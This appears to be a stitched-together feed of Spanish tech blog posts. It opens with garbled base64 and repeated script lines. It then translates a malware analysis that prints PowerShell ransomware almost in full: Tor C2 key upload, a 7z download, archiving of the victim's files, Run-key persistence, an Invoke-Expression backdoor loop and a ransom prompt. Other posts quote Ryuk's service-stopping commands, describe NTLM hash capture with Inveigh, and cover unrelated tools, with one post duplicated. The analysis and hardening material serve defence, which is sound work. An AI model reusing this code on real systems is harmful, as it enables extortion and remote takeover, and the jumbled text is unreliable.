mdseSBhZHZpc2UgeW91IHRvIHdhaXQgNSAtIDEwcyBiZWZvcmUgc
$10d2d = $tmp +'\10d2d\10d2d.ps1'
$10d2e = $usr +'\Desktop\10d2e.ps1'
New-Item -ItemType Directory -Force -Path $tmp'\10d2d'
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d))
Out-String)
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e))
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1'
function getUUID
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
$UUID = $raw.split('-')[4]
return $UUID
cd $env:USERPROFILE
Remove-Item -Path _.zip -Force
$UUID = getUUID
$Pass = makePass
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/storeKey.php
pass={0}
id={1}' -f $Pass, $UUID
$response = cmd /c curl -s -x socks5h://localhost:9050 $request
if($response -eq 'OK')
$fileList = @(makeFileList)
$fileResult = makeFileListTable $fileList
compress $Pass
setup
notify $fileList $fileResult $UUID
cd $env:TEMP/10d2d
powershell -ep bypass .\10d2d.ps1
mkdir -Path $env:USERPROFILE\Desktop\Debug_Failed

El script comienza generando algunos datos basados en el host: un UUID y una contraseña aleatoria:

function getUUID
{
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
$UUID = $raw.split('-')[4];
return $UUID;
}

function makePass
{
$alph=@();
65..90|foreach-object{$alph+=[char]$_};
$num=@();
48..57|foreach-object{$num+=[char]$_};

$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}

El ransomware se comunica con el servidor de C2 a través de TOR. 

El cliente TOR no estaba incluido en este script de PowerShell, ¿tal vez en un segundo script?  

Nota: Se espera que TOR se inicie desde un directorio ".home":

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;

El servidor C2 se encuentra en esta dirección de Onion: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

El ransomware envía el UUID y la contraseña generados al C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;
La respuesta esperada es un simple "OK" que activará el proceso de cifrado de archivos. La lista de extensiones de archivo de destino es bastante pequeña y la ruta de búsqueda está restringida al directorio de inicio del usuario.
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

La forma en que se cifran los archivos es un enfoque interesante. En lugar de cifrar todos los archivos uno por uno, crea un gran archivo cifrado 7Z que contiene todos los archivos de destino.

function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';

$7zdll = '"'+$tmp+'\7z.dll"';
$7zexe = '"'+$tmp+'\7z.exe"';
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;

$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;

Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Una vez que los archivos se empaquetan, los scripts se dumpean en el sistema de archivos:

function setup
{
$tmp = $env:TEMP;
$usr = $env:USERPROFILE;

$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';

$10d2d = $tmp +'\10d2d\10d2d.ps1';
$10d2e = $usr +'\Desktop\10d2e.ps1';

New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';
}

El primer script ("10d2d.ps1") implementa persistencia:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;

Luego implementa un backdoor esperando comandos del C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
$jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';
if(($jobCall[0] -replace ' ', '') -eq $UUID)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
try
{
$returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
}
catch
{
$returnCont = $_ -replace '\r\n', '\r\n';
}
$curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
$returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;

cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
}

Start-Sleep -Seconds 5;
}

El segundo script ("10d2e.ps1") contiene el código para indicar al usuario la nota del rescate (que no es muy caro: $20):

function pay($UUID)
{
$msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
$get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
$msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
$get2 = Read-Host($get2);

$msg4 = 'Loading again...'; $msg4;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
$result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

if($result[0] -ieq 'C')
{
$msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;
}

}

La interacción con el usuario tiene esta pinta:

Tened en cuenta que el usuario debe invocar este segundo script como se indica en la notificación:

Fuente: https://isc.sans.edu/forums/diary/Simple+Powershell+Ransomware+Creating+a+7Z+Archive+of+your+Files/27286/


01 Apr 07:59

Servicios "trampa" para detener la ejecución de ransomware

by noreply@blogger.com (Vicente Motos)

Frecuentemente los desarrolladores de ransomware detienen varios servicios/eliminan varios procesos antes de comenzar a cifrar. Por ejemplo Ryuk:

net stop avpsus /y
net stop McAfeeDLPAgentService /y
net stop mfewc /y
net stop BMR Boot Service /y
net stop NetBackup BMR MTFTP Service /y


Véase:
https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Al hilo de ésto, Ollie Whitehouse de NCC Group ha publicado SWOLLENRIVER, una interesante herramienta bajo licencia AGPL que implementa una serie de procesos canarios que se controlan entre sí. Si estos servicios se detienen (a través de net stop o similar) y no durante el cierre del equipo, disparará un token Canary DNS (http://canarytokens.org/generate) e hibernará el host.

Si a algunos no os suenan los Canary Tokens deciros que es un concepto muy interesante en el mundo Deception/honeypots. Es como los clásicos web bugs que se incluían en los correos electrónicos, imágenes transparentes que se cargaban mediante una URL única embebida en una image tag, alertando al "cazador" que está monitorizando las peticiones GET contra un site.

Y hay tokens de muchos otros tipos: acceso o lectura a ficheros, peticiones a bases de datos, patrones en logs, ejecución de procesos, ... y entre ellos el token DNS que no es otra cosa que un nombre de dominio único que se puede resolver en Internet y, cualquiera que intente resolver este nombre de dominio, activará una alerta.

Para poder generar este tipo de alertas:
- necesitaremos crear el token en https://docs.canarytokens.org/guide/dns-token.html#creating-a-dns-token y cambiar REPLACEME aquí: https://github.com/nccgroup/KilledProcessCanary/blob/master/Program.cs#L241
- compilar SWOLLENRIVER
- implementar en rutas típicas para al menos DOS servicios de Windows específicos
- instalar el servicio de Windows, p. Ej.

New-Service -Name "MSSQL" -BinaryPathName "C:\Program Files\Microsoft SQL Server\sqlserver.exe"

- iniciar

Al hacer esto, conseguiremos:

- Minimizar el impacto/probabilidad de un cifrado exitoso
- Obtener más opciones de recuperación de la clave de cifrado de la RAM

Repo: https://github.com/nccgroup/KilledProcessCanary

22 Mar 07:41

Cómo excluir ficheros y directorios en Rsync

by davidochobits

Rsync es una fantástica y potente herramienta para sincronizar archivos y carpetas, desde la línea de comandos, entre dos ubicaciones a través de una shell remota. Esta herramienta permite reflejar datos, crear copias de...

La entrada Cómo excluir ficheros y directorios en Rsync se publicó primero en ochobitshacenunbyte.

22 Mar 07:40

Tu sistema Linux seguro con checksecurity

by davidochobits

Los sistemas GNU/Linux se consideran de los mas seguros, para todo tipo de equipos informáticos. Sin embargo, siendo realistas, tienen su buen número de vulnerabilidades y también son víctimas del malware. Por suerte, existen...

La entrada Tu sistema Linux seguro con checksecurity se publicó primero en ochobitshacenunbyte.

22 Mar 07:37

Servicios "trampa" para detener la ejecución de ransomware

by Vicente Motos

Frecuentemente los desarrolladores de ransomware detienen varios servicios/eliminan varios procesos antes de comenzar a cifrar. Por ejemplo Ryuk:

net stop avpsus /y
net stop McAfeeDLPAgentService /y
net stop mfewc /y
net stop BMR Boot Service /y
net stop NetBackup BMR MTFTP Service /y


Véase:
https://www.carbonblack.com/blog/vmware-carbon-black-tau-ryuk-ransomware-technical-analysis/

https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Al hilo de ésto, Ollie Whitehouse de NCC Group ha publicado SWOLLENRIVER, una interesante herramienta bajo licencia AGPL que implementa una serie de procesos canarios que se controlan entre sí. Si estos servicios se detienen (a través de net stop o similar) y no durante el cierre del equipo, disparará un token Canary DNS (http://canarytokens.org/generate) e hibernará el host.

Si a algunos no os suenan los Canary Tokens deciros que es un concepto muy interesante en el mundo Deception/honeypots. Es como los clásicos web bugs que se incluían en los correos electrónicos, imágenes transparentes que se cargaban mediante una URL única embebida en una image tag, alertando al "cazador" que está monitorizando las peticiones GET contra un site.

Y hay tokens de muchos otros tipos: acceso o lectura a ficheros, peticiones a bases de datos, patrones en logs, ejecución de procesos, ... y entre ellos el token DNS que no es otra cosa que un nombre de dominio único que se puede resolver en Internet y, cualquiera que intente resolver este nombre de dominio, activará una alerta.

Para poder generar este tipo de alertas:
- necesitaremos crear el token en https://docs.canarytokens.org/guide/dns-token.html#creating-a-dns-token y cambiar REPLACEME aquí: https://github.com/nccgroup/KilledProcessCanary/blob/master/Program.cs#L241
- compilar SWOLLENRIVER
- implementar en rutas típicas para al menos DOS servicios de Windows específicos
- instalar el servicio de Windows, p. Ej.

New-Service -Name "MSSQL" -BinaryPathName "C:\Program Files\Microsoft SQL Server\sqlserver.exe"

- iniciar

Al hacer esto, conseguiremos:

- Minimizar el impacto/probabilidad de un cifrado exitoso
- Obtener más opciones de recuperación de la clave de cifrado de la RAM

Repo: https://github.com/nccgroup/KilledProcessCanary

10 Jan 13:19

Las seis mejores herramientas gratuitas para convertir archivos Excel en bases de datos SQL

by Marcos Merino

Las seis mejores herramientas gratuitas para convertir archivos Excel en bases de datos SQL

Usar hojas de cálculo es un sistema cómodo y flexible para manejar y consultar datos; un usuario de Microsoft Excel o de Google Spreadsheets es libre de combinar celdas, darle formato a las tablas o añadir comentarios a su contenido.

Pero la flexibilidad es un arma de doble filo, que viene acompañada de una mayor inconsistencia de los datos. Eso significa que existe una mayor probabilidad, por ejemplo, de realizar cambios accidentales en los datos y de que el tipo de dato (númerico, textual, etc) de una celda no sea el esperado.

Además, a partir de cierta cantidad de datos, las hojas de cálculo tienden a volverse inmanejables por su lentitud: teóricamente Excel es capaz de soportar hasta un millón de filas, pero las múltiples pestañas, tablas dinámicas y fórmulas acaban mucho antes con su aguante y con nuestra paciencia.

Sin embargo, las distintas tecnologías de bases de datos relacionales (con SQL, la más usada, a la cabeza) están pensadas precisamente para esta tarea, siendo más rápidas en su uso y más seguras a la hora de manejar los datos.

Por eso, te hemos preparado este listado de herramientas gratuitas que te permitirán convertir todos tus datos ya recopilados y organizados con Excel en bases de datos SQL:

MySQL for Excel

Mysqlforexcel

Disponible para Windows en la misma web oficial del proyecto MySQL, 'MySQL for Excel' es un complemento para el editor de hojas de cálculo de Microsoft, al que se accede desde el mismo panel de 'Datos' de éste, y que ofrece un asistente que guía al usuario con un perfil menos técnico a la hora de exportar datos MySQL desde Excel (aunque también permite realizar la conversión inversa, de MySQL a Excel).

Este complemento permite al usuario crear una tabla MySQL a partir de datos de Excel que seleccione: los tipos de datos se reconocerán automáticamente y se establecerán como predeterminados para la nueva tabla, y los nombres de cada columna SQL se establecerán automáticamente a partir de la primera fila de datos de la hoja.

Excel to MySQL

Excel To Mysql

Dos aspectos diferencian esta herramienta de la opción anterior: en primer lugar, 'Excel to MySQL' es una sencilla herramienta online a la que deberemos subir nuestra hoja de cálculo; en segundo, no sólo nos proporciona el archivo .sql ya convertido, sino también el código SQL por si queremos generar la base de datos 'a mano'.

Una vez subido el archivo (es compatibles con los formatos .xls/.xlsx, .csv, .xml y .ods), la plataforma nos permite configurar aspectos como la inclusión de una columna extra para el campo 'Id', o el nombre de la tabla. En en siguiente paso, existe también la opción de indicar el tipo de dato de cada fila o si queremos prescindir de alguna de ellas.

Beautify Tools

Beautifytools

Beautify Tools es el nombre de una (muy) amplia colección de herramientas online gratuitas que incluyen desde minificadores y validadores de código hasta herramientas de SEO, pasando por generadores de favicons y códigos QR, y conversores de unidades o archivos.

Es entre estos últimos donde podemos encontrar las utilidades 'Excel to SQL Converter' y 'CSV to SQL Converter', que nos permiten cargar nuestras hojas de cálculo y obtener un código SQL que podremos editar, si es necesario, antes de descargarlo.

BeautifyConverter

Beautifyconverter

BeautifyConverter parece ser una versión corregida y aumentada de las Beautify Tools: contiene todas las utilidades presentes en la herramienta anterior, y añade otras nuevas, entre las que se encuentra 'TSV to SQL Converter', cubriendo así otro formato más de hojas de cálculo.

Las diferencias entre ambas opciones son pocas, al margen de la interfaz gráfica, la principal es que BeautifyConverter añade, en algunos casos, la opción de cargar el archivo a convertir desde una URL (y no únicamente desde nuestro PC).

Mr. Data Converter

Mr Data Converter

Otra herramienta web de conversión gratuita, si bien hay varias cosas que diferencian 'Mr. Data Converter' de sus rivales ya reseñados. En primer lugar no tendremos que seleccionar y subir ningún archivo: los datos se incorporan desde Excel a través del copia&pega de toda la vida (y también nos da la opción de escribir sobre la marcha los datos separados por comas o tabuladores).

En segundo lugar, desde la misma interfaz tenemos la opción de seleccionar el tipo de código al que se convertirá la hoja de cálculo: no sólo MySQL, sino también XML, JSON, HTML, etc. No podremos, eso sí, descargarlo, sólo volver a copiar y pegar el código generado.

SQLizer.io

Sqlizer

El uso de SQLizer es sencillo y pensado para resolverlo en un único paso: una vez entramos en la página web, seleccionamos el archivo de hoja de datos que queramos convertir (no sólo archivos Excel con extensión .xls/.xlsx, también .csv, .tsv, .xml y .json), y el tipo de base de datos al que debe convertirlo (bien MySQL, PostgreSQL o Microsoft SQL Server).

A continuación, podremos configurar otros aspectos obligatorios como el nombre de la hoja y el rango de las celdas que se tendrán en cuenta de cara al proceso de conversión, así como el nombre del archivo final.

La gratuidad de este servicio queda, por desgracia, limitada al uso no comercial de archivos de menos de 5000 filas de datos. A partir de ahí, cuenta con varias opciones a partir de los 15 dólares.

Imagen | Pixabay & RRZEicons (vía Wikimedia)

También te recomendamos

Sheet 2 Site, genera una página web completa y en pocos minutos a partir de una hoja de cálculo de Google

3 Bases de Datos NoSQL más populares para iniciarse en la Nube

Graphite, una alternativa a Google Docs descentralizada, cifrada y basada en blockchain

-
La noticia Las seis mejores herramientas gratuitas para convertir archivos Excel en bases de datos SQL fue publicada originalmente en Genbeta por Marcos Merino .

10 Jan 13:18

Cómo personalizar el diseño de un Formulario de Google e insertarlo en la web

by Nicolás Verdejo
Formfacade

Los formularios de Google son una solución cómoda y práctica para solicitar y recopilar información de otros usuarios. Por lo mismo, gozan de gran popularidad como alternativa para la creación de encuestas, formularios de contacto, aplicación de cuestionarios y otros fines similares.

Para insertar en tu web alguno de estos formularios, la herramienta ofrecida por Google se limita al diseño predeterminado de la plataforma. Si quieres integrar su contenido con el diseño de tu sitio, Formfacade puede encargarse de aquello.

Crear un formulario con la herramienta ofrecida por Google trae consigo muchas ventajas. Destacan la facilidad con la que se pueden crear formularios, la variedad de tipos de preguntas y contenidos que pueden insertarse, más la comodidad que ofrece para gestionar las respuestas recibidas, con la posibilidad de incluso exportarlas a una hoja de cálculo.

No obstante, a nivel visual, sólo pueden personalizarse algunos colores e imágenes, conservando en gran parte el diseño bajo el que por defecto se generan estos documentos a través de la plataforma.

Por lo general, las opciones más comunes para compartir un formulario de este tipo son haciendo circular el enlace del mismo o insertándolo en un sitio web, limitándose a exhibir su diseño predeterminado.

Este último punto es la razón por la que muchos desarrolladores web tienden a optar por prescindir de esta alternativa, dada la importancia que tiene el cuidado del diseño de una web, sobre todo cuando hay manuales de marca y normas de estilo de por medio.

Alternativas para crear formularios personalizados para insertar en un sitio web hay muchas, gratuitas y de pago. Dada la amplia oferta, más de alguna podría ajustarse a las necesidades de un sitio, pero su implementación implicaría descartar su integración con las herramientas de Google.

Como una solución para quienes busquen conjugar las bondades de un Formulario de Google con la integridad del diseño de su web de destino, podemos contar con Formfacade.

Se trata de una herramienta gratuita, mejorable mediante planes de pago, que permite integrar un formulario de Google en cualquier sitio, personalizando su apariencia al máximo, para hacerla coincidir con el diseño esperado.

Con Formacade se pueden personalizar las dimensiones del formulario, ajustándolo al ancho del sitio, definiendo la disposición de sus campos de llenado entre una o dos columnas, cambiando el color del fondo y los elementos que componen el formulario y también pueden personalizarse las tipografías, especificando una fuente o familia de fuentes para los encabezados y campos que lo componen.

Formulario personalizado con Formfacade

Formulario personalizado con Formfacade

Otras herramientas de personalización contemplan la posibilidad de aplicar formatos específicos para las preguntas y descripciones de un formulario. También, pueden personalizarse los marcadores de posición que aparecen previos a la entrega de una respuesta, configurar el uso de fórmulas en algunos campos dinámicos y marcar algunas secciones como “ocultas” o de “sólo lectura”.

Incluso hasta el texto de agradecimiento que aparece tras el envío de un formulario puede dotarse de nuevas funciones gracias a Formfacade. Por ejemplo, se puede configurar un mensaje dinámico personalizado con el nombre de quién envía una respuesta, extrayéndolo del campo dedicado a esta información en el formulario mismo. Otra opción es la configuración de una URL de redirección para usar en lugar de este mensaje, la cual se puede mostrar de igual forma para todos o puede variar en función de alguna respuesta enviada.

Para usuarios más avanzados, el contenido del formulario puede modificarse mediante el uso de lenguaje markdown y su diseño puede alterarse modificando la hoja de estilos CSS

del formulario completo o sólo editando lo correspondiente a algunas secciones. Adicionalmente, pueden añadirse comandos en Javascript, para desencadenar acciones en la medida que el usuario interactúa con el formulario.

Como complemento para lo que Google ofrece como herramientas de gestión de sus formularios, con Formfacade se puede hacer un seguimiento a aquellos formularios parcialmente llenados y se puede analizar cómo los usuarios interactúan con ellos mediante herramientas de grabación de sesiones.

Su plan gratuito se limita a la gestión de un formulario, con 100 respuestas por mes y mostrando el logotipo de Formafacade. Sus planes de pago eliminan esa marca e incrementan la capacidad del servicio, con precios que van desde los $8 dólares al mes.

Puedes encontrar más información en el sitio web de Formfacade.

10 Jan 13:18

Una plataforma que te ayuda a armar un ordenador pieza por pieza

by Nicolás Verdejo
PC Builder

Armar un ordenador desde cero es toda una aventura, pues permite construir una estación de trabajo ajustada a las necesidades particulares de su usuario. No obstante, esto podría resultar una tarea compleja para quienes no dominen los conocimientos requeridos para evitar sobresaltos en el camino.

Como una ayuda, incluso para aquellos usuarios más experimentados, se presenta PC Builder, una plataforma web que ayuda a seleccionar y cotizar los componentes del pc que quieras armar, pieza por pieza.

Un cotizador de componentes mejorado

La propuesta de PC Builder dista de ser un mero agregador de artículos a la venta o comparador de precios. Su valor agregado radica en que además de permitir cotizar componentes para el armado de un ordenador, también comprueba la compatibilidad entre las piezas escogidas, para evitar malas sorpresas a posterior.

Este proceso de verificación es uno de los grandes desafíos que se plantean al momento de adquirir los componentes necesarios para el armado de un equipo. Incluso si la persona tras esta tarea domina suficientes antecedentes o experiencia en esto, hoy en día, a pesar de las facilidades disponibles para acceder a cierta información, algunos fabricantes han dejado lagunas en esta materia. 

Con estos antecedentes, el trabajo de PC Builder toma una impronta mayor, pues sus análisis de compatibilidad entre piezas se fundan, además de los antecedentes expresamente compartidos en la documentación oficial de cada dispositivo, en datos sobre casos puntuales que se encuentran sólo en otros foros de ayuda, portales especializados y también, fuentes offline, como manuales o instructivos.

Con esta gran base de datos disponible, las búsquedas se pueden realizar a través de una vía más cómoda y confiable.  

Esta plataforma permite personalizar por completo el ordenador a construir, permitiendo cotizar procesadores, placas base, enfriadores de CPU, gabinetes, tarjeta gráfica, RAM, almacenamiento de energía, softwares, monitor y cableado. 

En la medida que se agregan componentes, la lista de cotización se actualizará con las piezas que se añadan, más sus correspondientes notas de compatibilidad y precios. Esta cotización, puede incrustarse en un sitio web gracias a una herramienta proporcionada por la misma plataforma y también, se puede compartir con cualquier persona un enlace a la configuración que armaste.

Aparte de esta herramienta para personalizar la construcción de un ordenador, PC Builder cuenta con algunas propuestas preconfiguradas y otro apartado especialmente dedicado a ordenadores portátiles.

Un proyecto surgido desde la empatía

En la presentación de PC Builder, sus creadores comentaron que la inspiración surgió en base a una experiencia que tuvieron en torno al armado de un PC Gamer, no exenta de dificultades, sobre todo en cuanto a temas de compatibilidad.

Al cabo de un año, en busca de una solución a dificultades como esta, que surgen como consecuencia de la falta de información actualizada y de fácil acceso en la web.

Como complemento, esta plataforma cuenta con un foro, en el que su comunidad de usuarios puede intercambiar experiencias, plantear o responder dudas y realizar aportes a la misma plataforma.

Incluso si no buscas como propósito final cotizar el armado de un computador completo, el sitio cuenta con un explorador de componentes, que te permitirá navegar por ellos mediante 21 categorías diferentes.

Si quieres explorar esta interesante plataforma, puedes encontrarla junto a algunos datos complementarios en PcBuilder.net

Te puede Interesar: Cómo ahorrar espacio en el móvil.
La noticia Una plataforma que te ayuda a armar un ordenador pieza por pieza fue publicada originalmente en Wwwhatsnew.com por Nicolás Verdejo.
12 Dec 07:35

For, For, Fortificación de Sql Server for for for fun...

by kinomakino

 Estimados amigos !!!

Me hace mucha ilusión participar en este artículo, ya que aúna dos de mis pasiones, una quizás más pasada y otra presente, pero sin dudas dos disciplinas que me han marcado en mi carrera. Me refiero a las bases de datos y la ciberseguridad.

El primer curso que impartí en mi vida fue sobre Sql Server 7 creo que recordar en 3000 informática allá por el 2000, y siempre me fascinó el funcionamiento interno del motor, la memoria, la optimización. Si es cierto que me gustaba más la parte de "sistemas" que desarrollo, y eso derivó en mi pasión por los servidores. Pero bueno, batallitas aparte, que este post va de Seguridad en Sql Server sobre Windows.

Comenzamos "asentando" nuestro Sql Server sobre una UO que nos permita luego filtrar el conjunto de GPO´s diseñadas para la labor y a continuación creamos la Directiva de grupo vinculada a dicha UO. Metemos el servidor a la UO y comenzamos el viaje...

Siguiente paso, quitar roles del servidor. Si no vas a imprimir, quita el rol de servidor de impresión. Hay ataques que explotan este servicio y cuando menos superficie de exposición, mejor.

Establecer el servicio de copias VSS manual y no iniciado. Podemos sufrir un incidente por este mecanismo y no es necesario ( a no ser que sí lo sea).

Cambia el nombre al usuario SA  y comprueba que está deshabilitado.

En las propiedades del servidor, en seguridad, habilitar la auditoría de inicio de sesión, correcto y erróneo. 

Habilita la auditoría general del sistema creando una nueva política y establece la rama "Seguridad" o el fichero donde quieres ques se guarde. Esto dependerá del uso que le vayas a dar, y si tienes un SIEM o un SYSLOG y la manera que tenga de recolectar la información.



Si te ves con fuerza actívala :-)

Otra buena práctica es dejar el servidor al antojo de los administradores Sql Server, por lo que yo pondría una GPO específica para ese o esos servers y habilitaría el inicio de sesión sólo a los miembros del grupo administradores de Sql Server... 

Usa el cifrado transparente TDE en las bases de datos para cifrar con un certificado los ficheros. Es útil para entornos en los que se puede realizar un ataque físico, por ejemplo, con acceso a un disco duro, a un backup etc. Por defecto en 2019 todas las bases de datos creadas se cifran, pero si vienes del pasado... sigue este procedimiento.

Otra buena idea es cifrar el contenido de una columna, por ejemplo datos sensibles, para que el administrador de la base de datos no tenga que ver el contenido de la misma.


Firewall

Uno de los aspectos claves para securizar una instancia de Sql Server es el firewall del sistema operativo que corre bajo el. Por defecto, el puerto TCP de Sql Server escucha en la "emisora" 1433. Sin embargo, en servicios "menos" pro como Sql Express la conexión con el motor se hace por puertos aleatorios. Como se puede saber el puerto, viendo el log, pero Sql Server gestiona esto con el Sql Browser, que escucha en el puerto UDP 1434. Según tu entorno, sabiendo esto, la recomendación es abrir solo el puerto 1433 y si es posible, deshabilitar el servicio Sql Browser para cumplir con el compromiso de minimizar la superficie de exposición... Si necesitas este "dinamismo" en los puertos de entrada, te recomiendo leer este documento, y filtrar el servicio por el ejecutable, no por el puerto.

Protección extendida

Imagina el concepto de un Rogue AP. Montar un acces point wifi similar a uno en producción, y esperar que los clientes se intenten conectar... enviando sus credenciales...

El mismo concepto se puede dar en un entorno de Man in the Middle contra un sql server mediante una autenticación basada en NTLM, en la que el cliente envía el desafío, pero un atacante "en medio", por ejemplo habiendo falseado una entrada DNS, puede hacer de relay contra el Sql Server real y así hacerse con el acceso.


Microsoft implementa el Extended Protection, lo que hace es añadir un token único para cliente, y establecer una whitelist de SPN, o cuentas en las que sí se podrá acceder. De esta manera podemos evadir dicho ataque de manera sencilla.

Esta vulnerabilidad no es intrínseca de Sql Server, sino de la autenticación basada en NTLM, por lo que es aplicable a otros servicios, como el conocido uso de Responder o Inveight para el mismo concepto, pero implementando el ataque para la aplicación SMB ( compartición de carpetas) o HTTP ( las páginas wweeeeeee).

La recomendación genérica para entornos Microsoft, es deshabilitar la autenticación NTLMv1 pero ni siempre es posible, sobre todo, con sistemas Legacy o no Compliance 100% etc...y también se puede creackear.

Vamos a hacer una pequeña prueba de concepto para que veais lo "sencillo" que es aprovechar este fallo.

Voy a usar la herramienta Inveigh, el clon de Responder para Powershell. La tool ejecuta un servidor SMB falso y esnifa, escucha, peticiones NTLM en la red. El escenario teórico del ataque sería una red en la que conseguimos acceso a un sql server, por ejemplo mediante una SqlInyection y podemos ejecutar "cosas". Si podemos ejecutar una dirtree en una equipo remoto, es decir un DIR, estaremos pasando las claves NTLM* al equipo destino. Si ese equipo destino es la herramienta, esnifará la petición y obtendremos el codiciado hash. Luego lo usaremos de varias maneras, pero se extralimita de este propósito. Vamos a verlo. Ejecuto una consulta desde el SqlServer hacía Inveigh



Y ahora vemos en la herramienta como hemos capturado el hash.


Ahora vamos a configurar la seguridad extendida en el SqlServer, y vamos a comprobar el resultado.


*NTLM: Cuando hablamos de Ntlm me refiero a net-ntlm. No es lo mismo que NTLM, pero para centrar al lector en la seguridad del Sql Server los conceptos son los mismos, y a fin de cuentas, ambos hashes se pueden crackear. Esto es una aclaración para puristas. Si quieres saber la diferencia entre Net-NTLM y NTLM pincha aquí y estudia :-) *

Otro tip para tu conocimiento. Si has hecho esta POC, prueba a pedir desde el Sql Server el DirTree con nombre de equipo en vez de dirección IP, sabes qué ocurre? Cuando hacemos barra barra a un equipo pasa lo mismo !!! si lo hacemos por nombre, la autenticación es basada en Kerberos, y no entra en juego Ntlm... tip de seguridad genérico :-)

Actualizaciones

El tema de las actualizaciones siempre ha sido complejo, pero como todo en la vida, al final es un reto más, pero no podemos dejarlo de lado. En numerosas auditorías y pentest que hago informo de versiones de Sql Server Viejas y sin parches importantes. Como que a TIC, y si es una rama dev. más aún, les da la risa floja en plan: "ahora viene este a decirme que no parcheo la bbdd" pero es necesario.

Es importante conocer un poco más sobre esta tarea que no todo el mundo sabe. Por lo general, los parches se liberan el segundo martes de cada mes, como los Windows... por lo que por la noche, o el miércoles por la mañana, tendrás parches...

